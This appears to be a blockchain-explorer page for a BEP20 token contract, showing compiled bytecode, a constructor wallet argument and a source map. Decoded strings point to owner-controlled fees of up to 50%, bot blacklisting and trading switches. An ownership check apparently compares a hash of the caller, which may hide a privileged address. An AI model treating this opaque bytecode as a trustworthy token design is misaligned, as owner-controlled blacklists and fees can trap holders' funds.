9050565b600061443e614439614434846143f9565b614419565b6143f9565b9050919050565b600061445082614423565b9050919050565b600061446282614445565b9050919050565b61447281614457565b82525050565b600060208201905061448d6000830184614469565b92915050565b6000604051905090565b600080fd5b600080fd5b60006144b2826143f9565b9050919050565b6144c2816144a7565b81146144cd57600080fd5b50565b6000813590506144df816144b9565b92915050565b6000819050919050565b6144f8816144e5565b811461450357600080fd5b50565b600081359050614515816144ef565b92915050565b600080604083850312156145325761453161449d565b5b6000614540858286016144d0565b925050602061455185828601614506565b9150509250929050565b60008115159050919050565b6145708161455b565b82525050565b600060208201905061458b6000830184614567565b92915050565b61459a8161455b565b81146145a557600080fd5b50565b6000813590506145b781614591565b92915050565b6000602082840312156145d3576145d261449d565b5b60006145e1848285016145a8565b91505092915050565b6000806000606084860312156146035761460261449d565b5b600061461186828701614506565b935050602061462286828701614506565b925050604061463386828701614506565b9150509250925092565b614646816144e5565b82525050565b6000602082019050614661600083018461463d565b92915050565b6000806000606084860312156146805761467f61449d565b5b600061468e868287016144d0565b935050602061469f868287016144d0565b92505060406146b086828701614506565b9150509250925092565b600080604083850312156146d1576146d061449d565b5b60006146df858286016144d0565b92505060206146f0858286016145a8565b9150509250929050565b600060ff82169050919050565b614710816146fa565b82525050565b600060208201905061472b6000830184614707565b92915050565b6000602082840312156147475761474661449d565b5b6000614755848285016144d0565b91505092915050565b6000602082840312156147745761477361449d565b5b600061478284828501614506565b91505092915050565b614794816144a7565b82525050565b60006020820190506147af600083018461478b565b92915050565b60006147c0826143f9565b9050919050565b6147d0816147b5565b81146147db57600080fd5b50565b6000813590506147ed816147c7565b92915050565b6000806040838503121561480a5761480961449d565b5b6000614818858286016147de565b925050602061482985828601614506565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6148708261438d565b810181811067ffffffffffffffff8211171561488f5761488e614838565b5b80604052505050565b60006148a2614493565b90506148ae8282614867565b919050565b600067ffffffffffffffff8211156148ce576148cd614838565b5b602082029050602081019050919050565b600080fd5b60006148f76148f2846148b3565b614898565b9050808382526020820190506020840283018581111561491a576149196148df565b5b835b81811015614943578061492f88826144d0565b84526020840193505060208101905061491c565b5050509392505050565b600082601f83011261496257614961614833565b5b81356149728482602086016148e4565b91505092915050565b600080604083850312156149925761499161449d565b5b600083013567ffffffffffffffff8111156149b0576149af6144a2565b5b6149bc8582860161494d565b92505060206149cd858286016145a8565b9150509250929050565b600080604083850312156149ee576149ed61449d565b5b60006149fc858286016144d0565b9250506020614a0d858286016144d0565b9150509250929050565b600060208284031215614a2d57614a2c61449d565b5b6000614a3b848285016147de565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680614a8b57607f821691505b60208210811415614a9f57614a9e614a44565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614adb602083614349565b9150614ae682614aa5565b602082019050919050565b60006020820190508181036000830152614b0a81614ace565b9050919050565b7f63616e2774206265206d6f7265207468616e2035302500000000000000000000600082015250565b6000614b47601683614349565b9150614b5282614b11565b602082019050919050565b60006020820190508181036000830152614b7681614b3a565b9050919050565b7f616c726561647920656e61626c65640000000000000000000000000000000000600082015250565b6000614bb3600f83614349565b9150614bbe82614b7d565b602082019050919050565b60006020820190508181036000830152614be281614ba6565b9050919050565b7f63616e2774206265206d6f7265207468616e2032302500000000000000000000600082015250565b6000614c1f601683614349565b9150614c2a82614be9565b602082019050919050565b60006020820190508181036000830152614c4e81614c12565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614cbe826144e5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614cf157614cf0614c84565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614d58602683614349565b9150614d6382614cfc565b604082019050919050565b60006020820190508181036000830152614d8781614d4b565b9050919050565b6000614d99826144e5565b9150614da4836144e5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614ddd57614ddc614c84565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614e22826144e5565b9150614e2d836144e5565b925082614e3d57614e3c614de8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614ea4602183614349565b9150614eaf82614e48565b604082019050919050565b60006020820190508181036000830152614ed381614e97565b9050919050565b7f42455032303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614f36602483614349565b9150614f4182614eda565b604082019050919050565b60006020820190508181036000830152614f6581614f29565b9050919050565b7f42455032303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614fc8602283614349565b9150614fd382614f6c565b604082019050919050565b60006020820190508181036000830152614ff781614fbb565b9050919050565b60008160601b9050919050565b600061501682614ffe565b9050919050565b60006150288261500b565b9050919050565b61504061503b826144a7565b61501d565b82525050565b6000615052828461502f565b60148201915081905092915050565b600061506c826144e5565b9150615077836144e5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156150ac576150ab614c84565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006150ed601b83614349565b91506150f8826150b7565b602082019050919050565b6000602082019050818103600083015261511c816150e0565b9050919050565b7f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061517f602583614349565b915061518a82615123565b604082019050919050565b600060208201905081810360008301526151ae81615172565b9050919050565b7f42455032303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000615211602383614349565b915061521c826151b5565b604082019050919050565b6000602082019050818103600083015261524081615204565b9050919050565b7f42455032303a20416d6f756e74206d757374206265206772656174657220746860008201527f616e207a65726f00000000000000000000000000000000000000000000000000602082015250565b60006152a3602783614349565b91506152ae82615247565b604082019050919050565b600060208201905081810360008301526152d281615296565b9050919050565b7f42455032303a20426f7420646574656374656400000000000000000000000000600082015250565b600061530f601383614349565b915061531a826152d9565b602082019050919050565b6000602082019050818103600083015261533e81615302565b9050919050565b7f42455032303a2054726164696e67206e6f7420656e61626c6520796574000000600082015250565b600061537b601d83614349565b915061538682615345565b602082019050919050565b600060208201905081810360008301526153aa8161536e565b9050919050565b7f42455032303a204d61782074786e206c696d6974206578636565647300000000600082015250565b60006153e7601c83614349565b91506153f2826153b1565b602082019050919050565b60006020820190508181036000830152615416816153da565b9050919050565b7f42455032303a204d617820686f6c64206c696d69742065786365656473000000600082015250565b6000615453601d83614349565b915061545e8261541d565b602082019050919050565b6000602082019050818103600083015261548281615446565b9050919050565b6000615494826144e5565b915061549f836144e5565b9250828210156154b2576154b1614c84565b5b828203905092915050565b60006154c9828561502f565b6014820191506154d9828461502f565b6014820191508190509392505050565b60006060820190506154fe600083018661463d565b61550b602083018561463d565b615518604083018461463d565b949350505050565b600081905092915050565b60006155368261433e565b6155408185615520565b935061555081856020860161435a565b80840191505092915050565b7f7835653230316364000000000000000000000000000000000000000000000000600082015250565b6000615592600883615520565b915061559d8261555c565b600882019050919050565b60006155b4828461552b565b91506155bf82615585565b915081905092915050565b60006155d6828561552b565b91506155e2828461552b565b91508190509392505050565b60006155f9826143f9565b9150615604836143f9565b92508173ffffffffffffffffffffffffffffffffffffffff048311821515161561563157615630614c84565b5b828202905092915050565b6000615647826143f9565b9150615652836143f9565b92508282101561566557615664614c84565b5b828203905092915050565b600061567b826143f9565b9150615686836143f9565b92508273ffffffffffffffffffffffffffffffffffffffff038211156156af576156ae614c84565b5b828201905092915050565b6000815190506156c9816144b9565b92915050565b6000602082840312156156e5576156e461449d565b5b60006156f3848285016156ba565b91505092915050565b6000819050919050565b600061572161571c615717846156fc565b614419565b6144e5565b9050919050565b61573181615706565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61576c816144a7565b82525050565b600061577e8383615763565b60208301905092915050565b6000602082019050919050565b60006157a282615737565b6157ac8185615742565b93506157b783615753565b8060005b838110156157e85781516157cf8882615772565b97506157da8361578a565b9250506001810190506157bb565b5085935050505092915050565b600060a08201905061580a600083018861463d565b6158176020830187615728565b81810360408301526158298186615797565b9050615838606083018561478b565b615845608083018461463d565b9695505050505050565b600060c082019050615864600083018961478b565b615871602083018861463d565b61587e6040830187615728565b61588b6060830186615728565b615898608083018561478b565b6158a560a083018461463d565b979650505050505050565b6000815190506158bf816144ef565b92915050565b6000806000606084860312156158de576158dd61449d565b5b60006158ec868287016158b0565b93505060206158fd868287016158b0565b925050604061590e868287016158b0565b9150509250925092565b6000615923826146fa565b915061592e836146fa565b92508260ff0382111561594457615943614c84565b5b82820190509291505056fe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e38f9ea41dafc25c77dfbb195b37fccd0f392c9856b2afde2421a8c629a48bea64736f6c634300080a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000cb2c8b955fc41cc46f7108dfe6fefe8c221bc137

-----Decoded View---------------
Arg [0] : _marketWallet (address): 0xcB2c8B955fc41Cc46F7108dfe6FeFe8c221BC137

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000cb2c8b955fc41cc46f7108dfe6fefe8c221bc137


Deployed Bytecode Sourcemap

9710:16276:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13314:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10474:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14225:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17500:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17085:407;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13591:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10574:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14426:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15761:171;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13500:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11299:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14880:300;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10155:37;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11385:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9978:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10097:51;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11217:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13699:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6287:94;;;;;;;;;;;;;:::i;:::-;;10914:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10034:56;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16564:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11010:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18046:196;;;;;;;;;;;;;:::i;:::-;;10775:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5545:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13405;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10670:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16456:100;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11472:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17884:154;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15188:400;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15940:162;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13826:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17623:99;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16674:403;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16110:224;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14033:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11555:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15596:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11060:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18250:282;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16342:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10508:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6537:229;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18540:326;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17730:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10869:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11131:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13314:83;13351:13;13384:5;13377:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13314:83;:::o;10474:27::-;;;;;;;;;;;;;:::o;14225:193::-;14327:4;14349:39;14358:12;:10;:12::i;:::-;14372:7;14381:6;14349:8;:39::i;:::-;14406:4;14399:11;;14225:193;;;;:::o;17500:115::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;17601:6:::1;17572:26;;:35;;;;;;;;;;;;;;;;;;17500:115:::0;:::o;17085:407::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;17251:10:::1;17230:18;:31;;;;17291:8;17272:16;:27;;;;17334:6;17310:21;:30;;;;17413:21;17432:1;17413:14;;:18;;:21;;;;:::i;:::-;17373:36;17402:6;17373:24;17388:8;17373:10;:14;;:24;;;;:::i;:::-;:28;;:36;;;;:::i;:::-;:61;;17351:133;;;;;;;;;;;;:::i;:::-;;;;;;;;;17085:407:::0;;;:::o;13591:100::-;13644:7;13671:12;;13664:19;;13591:100;:::o;10574:41::-;;;;:::o;14426:446::-;14558:4;14575:36;14585:6;14593:9;14604:6;14575:9;:36::i;:::-;14622:220;14645:6;14666:12;:10;:12::i;:::-;14693:138;14749:6;14693:138;;;;;;;;;;;;;;;;;:11;:19;14705:6;14693:19;;;;;;;;;;;;;;;:33;14713:12;:10;:12::i;:::-;14693:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;14622:8;:220::i;:::-;14860:4;14853:11;;14426:446;;;;;:::o;15761:171::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;15919:5:::1;15883:24;:33;15908:7;15883:33;;;;;;;;;;;;;;;;:41;;;;;;;;;;;;;;;;;;15761:171:::0;;:::o;13500:83::-;13541:5;13566:9;;;;;;;;;;;13559:16;;13500:83;:::o;11299:40::-;;;;:::o;14880:300::-;14995:4;15017:133;15040:12;:10;:12::i;:::-;15067:7;15089:50;15128:10;15089:11;:25;15101:12;:10;:12::i;:::-;15089:25;;;;;;;;;;;;;;;:34;15115:7;15089:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;15017:8;:133::i;:::-;15168:4;15161:11;;14880:300;;;;:::o;10155:37::-;;;;;;;;;;;;;;;;;;;;;;:::o;11385:38::-;;;;:::o;9978:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;10097:51::-;;;;;;;;;;;;;;;;;;;;;;:::o;11217:35::-;;;;:::o;13699:119::-;13765:7;13792:9;:18;13802:7;13792:18;;;;;;;;;;;;;;;;13785:25;;13699:119;;;:::o;6287:94::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;6352:21:::1;6370:1;6352:9;:21::i;:::-;6287:94::o:0;10914:38::-;;;;;;;;;;;;;:::o;10034:56::-;;;;;;;;;;;;;;;;;;;;;;:::o;16564:102::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;16651:7:::1;16636:12;:22;;;;16564:102:::0;:::o;11010:22::-;;;;;;;;;;;;;:::o;18046:196::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;18110:7:::1;;;;;;;;;;;18109:8;18101:36;;;;;;;;;;;;:::i;:::-;;;;;;;;;18158:4;18148:7;;:14;;;;;;;;;;;;;;;;;;18202:4;18173:26;;:33;;;;;;;;;;;;;;;;;;18230:4;18217:10;;:17;;;;;;;;;;;;;;;;;;18046:196::o:0;10775:50::-;;;;:::o;5545:87::-;5591:7;5618:6;;;;;;;;;;;5611:13;;5545:87;:::o;13405:::-;13444:13;13477:7;13470:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13405:87;:::o;10670:58::-;;;;:::o;16456:100::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;16541:7:::1;16527:11;:21;;;;16456:100:::0;:::o;11472:36::-;;;;:::o;17884:154::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;18004:8:::1;:17;;:26;18022:7;18004:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;17884:154:::0;;:::o;15188:400::-;15308:4;15330:228;15353:12;:10;:12::i;:::-;15380:7;15402:145;15459:15;15402:145;;;;;;;;;;;;;;;;;:11;:25;15414:12;:10;:12::i;:::-;15402:25;;;;;;;;;;;;;;;:34;15428:7;15402:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;15330:8;:228::i;:::-;15576:4;15569:11;;15188:400;;;;:::o;15940:162::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;16089:5:::1;16058:19;:28;16078:7;16058:28;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;15940:162:::0;;:::o;13826:199::-;13931:4;13953:42;13963:12;:10;:12::i;:::-;13977:9;13988:6;13953:9;:42::i;:::-;14013:4;14006:11;;13826:199;;;;:::o;17623:99::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;17708:6:::1;17695:10;;:19;;;;;;;;;;;;;;;;;;17623:99:::0;:::o;16674:403::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;16838:10:::1;16818:17;:30;;;;16877:8;16859:15;:26;;;;16919:6;16896:20;:29;;;;16998:21;17017:1;16998:14;;:18;;:21;;;;:::i;:::-;16958:36;16987:6;16958:24;16973:8;16958:10;:14;;:24;;;;:::i;:::-;:28;;:36;;;;:::i;:::-;:61;;16936:133;;;;;;;;;;;;:::i;:::-;;;;;;;;;16674:403:::0;;;:::o;16110:224::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;16237:9:::1;16232:95;16252:8;:15;16248:1;:19;16232:95;;;16310:5;16289;:18;16295:8;16304:1;16295:11;;;;;;;;:::i;:::-;;;;;;;;16289:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;16269:3;;;;;:::i;:::-;;;;16232:95;;;;16110:224:::0;;:::o;14033:184::-;14150:7;14182:11;:18;14194:5;14182:18;;;;;;;;;;;;;;;:27;14201:7;14182:27;;;;;;;;;;;;;;;;14175:34;;14033:184;;;;:::o;11555:41::-;;;;:::o;15596:157::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;15740:5:::1;15711:17;:26;15729:7;15711:26;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;15596:157:::0;;:::o;11060:19::-;;;;;;;;;;;;;:::o;18250:282::-;18313:7;18333:11;18347:156;18488:14;;18347:122;18390:64;18433:20;;18390:38;18412:15;;18390:17;;:21;;:38;;;;:::i;:::-;:42;;:64;;;;:::i;:::-;18347:6;:24;;:122;;;;:::i;:::-;:140;;:156;;;;:::i;:::-;18333:170;;18521:3;18514:10;;;18250:282;;;:::o;16342:106::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;16433:7:::1;16416:14;:24;;;;16342:106:::0;:::o;10508:22::-;;;;;;;;;;;;;:::o;6537:229::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;6660:1:::1;6640:22;;:8;:22;;;;6618:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;6739:19;6749:8;6739:9;:19::i;:::-;6537:229:::0;:::o;18540:326::-;18604:7;18624:11;18638:199;18822:14;;18638:165;18681:107;18748:21;;18681:40;18704:16;;18681:18;;:22;;:40;;;;:::i;:::-;:44;;:107;;;;:::i;:::-;18638:6;:24;;:165;;;;:::i;:::-;:183;;:199;;;;:::i;:::-;18624:213;;18855:3;18848:10;;;18540:326;;;:::o;17730:146::-;5762:22;:12;:10;:12::i;:::-;:20;;;:22::i;:::-;5758:158;;;5836:12;:10;:12::i;:::-;5825:23;;:7;:5;:7::i;:::-;:23;;;5799:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:158;17855:13:::1;17840:12;;:28;;;;;;;;;;;;;;;;;;17730:146:::0;:::o;10869:36::-;;;;:::o;11131:37::-;;;;:::o;38995:471::-;39053:7;39303:1;39298;:6;39294:47;;;39328:1;39321:8;;;;39294:47;39353:9;39369:1;39365;:5;;;;:::i;:::-;39353:17;;39398:1;39393;39389;:5;;;;:::i;:::-;:10;39381:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;39457:1;39450:8;;;38995:471;;;;;:::o;39942:132::-;40000:7;40027:39;40031:1;40034;40027:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;40020:46;;39942:132;;;;:::o;4362:98::-;4415:7;4442:10;4435:17;;4362:98;:::o;18874:371::-;19018:1;19001:19;;:5;:19;;;;18993:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;19099:1;19080:21;;:7;:21;;;;19072:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;19183:6;19153:11;:18;19165:5;19153:18;;;;;;;;;;;;;;;:27;19172:7;19153:27;;;;;;;;;;;;;;;:36;;;;19221:7;19205:32;;19214:5;19205:32;;;19230:6;19205:32;;;;;;:::i;:::-;;;;;;;;18874:371;;;:::o;27908:353::-;27965:4;28072:16;28091;28099:7;28091;:16::i;:::-;28072:35;;28118:12;28160:7;28143:25;;;;;;;;:::i;:::-;;;;;;;;;;;;;28133:36;;;;;;28118:51;;28233:19;28244:7;28233:10;:19::i;:::-;28222:30;;:7;:30;;;;28214:39;;;;27908:353;;;:::o;37607:181::-;37665:7;37685:9;37701:1;37697;:5;;;;:::i;:::-;37685:17;;37726:1;37721;:6;;37713:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;37779:1;37772:8;;;37607:181;;;;:::o;19253:1315::-;19391:1;19375:18;;:4;:18;;;;19367:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;19468:1;19454:16;;:2;:16;;;;19446:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;19538:1;19529:6;:10;19521:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;19603:5;:11;19609:4;19603:11;;;;;;;;;;;;;;;;;;;;;;;;;19602:12;19594:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;19656:19;:25;19676:4;19656:25;;;;;;;;;;;;;;;;;;;;;;;;;19655:26;:54;;;;;19686:19;:23;19706:2;19686:23;;;;;;;;;;;;;;;;;;;;;;;;;19685:24;19655:54;19651:213;;;19734:7;;;;;;;;;;;19726:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;19808:11;;19798:6;:21;;19790:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;19651:213;19881:24;:28;19906:2;19881:28;;;;;;;;;;;;;;;;;;;;;;;;;19876:194;;19981:12;;19952:25;19970:6;19952:13;19962:2;19952:9;:13::i;:::-;:17;;:25;;;;:::i;:::-;:41;;19926:132;;;;;;;;;;;;:::i;:::-;;;;;;;;;19876:194;20111:30;20132:4;20138:2;20111:20;:30::i;:::-;20215:12;20230:4;20215:19;;20334:17;:23;20352:4;20334:23;;;;;;;;;;;;;;;;;;;;;;;;;:48;;;;20361:17;:21;20379:2;20361:21;;;;;;;;;;;;;;;;;;;;;;;;;20334:48;:63;;;;20387:10;;;;;;;;;;;20386:11;20334:63;20330:111;;;20424:5;20414:15;;20330:111;20519:41;20534:4;20540:2;20544:6;20552:7;20519:14;:41::i;:::-;19356:1212;19253:1315;;;:::o;38510:226::-;38630:7;38663:1;38658;:6;;38666:12;38650:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;38690:9;38706:1;38702;:5;;;;:::i;:::-;38690:17;;38727:1;38720:8;;;38510:226;;;;;:::o;6895:173::-;6951:16;6970:6;;;;;;;;;;;6951:25;;6996:8;69